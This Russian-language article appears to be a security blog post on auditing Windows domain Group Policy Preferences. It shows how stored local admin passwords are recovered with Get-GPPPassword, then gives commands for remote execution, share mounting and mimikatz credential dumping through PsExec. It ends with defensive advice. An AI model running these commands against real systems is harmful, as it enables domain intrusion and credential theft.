Аудит. Небезопасные GPO

Приветствую, уважаемый читатель!

В сфере ИБ иногда сталкиваешься со статьями или заметками, в которых процесс эксплуатации той или иной уязвимости для получения административных полномочий в Windows-домене так мудрено описан, что складывается впечатление о его потенциальной неприступности или о необходимости потратить немало времени. О способе куда проще, я бы хотел сегодня рассказать J

Всё написанное ниже предназначено СУГУБО в общеобразовательных целях, нельзя нарушать УК РФ в своих компаниях.

  

Речь пойдет об аудите групповых политик (GPO) Windows-домена и поиске в них чувствительной информации. Тема эта достаточно широко описывается в сфере ИБ, но иногда упускается в сфере ИТ. Суть в том, что у администратора домена есть возможность через GPO создавать локальные учётные записи в домене, менять локальным учётным записям пароль на какой-либо унифицированный и т.д. 

Естественно, таким образом можно создавать локальные учётные записи администратора или менять им пароль. И всё бы ничего, но в файле такой GPO (директория \\«Domain Name»\SYSVOL) хранится информация о создаваемой учётке и её зашифрованный пароль. 

Ключ для расшифровывания написан в документации MSDN J  

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be#endNote2

Для автоматизации аудита GPO домена и поиска создаваемых учёток, умельцы написали скрипт на PowerShell, который можно запустить с любого компьютера, входящего в домен, под пользовательской учётной записью. Запускать его можно без параметров, а результат работы будет выведен в консоль (секция Passwords и UserNames будет содержать логин и пароль учётки).

Сам скрипт тут - https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

Скриншот из документации с результатами работы скрипта.

При удачном стечении обстоятельств права локального администратора можно получить запуском одного скрипта. Теперь можно порассуждать, что делать с потенциально полученной учёткой администратора.

Имеет смысл проверить её работоспособность через PowerShell на каком-либо компьютере в домене (например, запросить ipconfig):

Invoke-Command –ComputerName domain-56 –Credential "domain-56\Administrator" -ScriptBlock {ipconfig}  

Если успешно, то можно использовать данную учётную запись для управления компьютером через Invoke-Command или Enter-PsSession.

Возможно для работы Invoke-Command, придётся запустить службу WinRM (Windows Remote Management):

Start-Service WinRM

или

Set-Service WinRM -StartMode Automatic

И разрешить удаленное подключение к любым удаленным компьютерам в домене:

Set-Item WSMan:localhost\client\trustedhosts -value *

Далее можно просканировать домен в поиске открытых на компьютерах шар (Admin$, C$), например, через модуль X-scan в Intercepter-NG.

Подключить эту шару себе через net use и изучить содержимое:

Net use O: \\domain-56\C$ password /user:username

Для продолжения атаки и попытки утащить учётную запись администратора домена можно загрузить в какую-нибудь шару файлы mimikatz и удаленно запустить mimikatz через PsExec и посмотреть на результат.

PsExec  -u username  -p password –s \\domain-56 cmd.exe

mimikatz # privilege::debug

mimikatz # sekurlsa::logonPasswords full

Можно воспользоваться вариантом Mimikatz для PowerShell:

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

Вот таким нехитрым способом при удачном стечении обстоятельств можно проверить защищенность корпоративного домена и при необходимости её повысить (отказаться от практики создания локальных учётных записей администратора через GPO).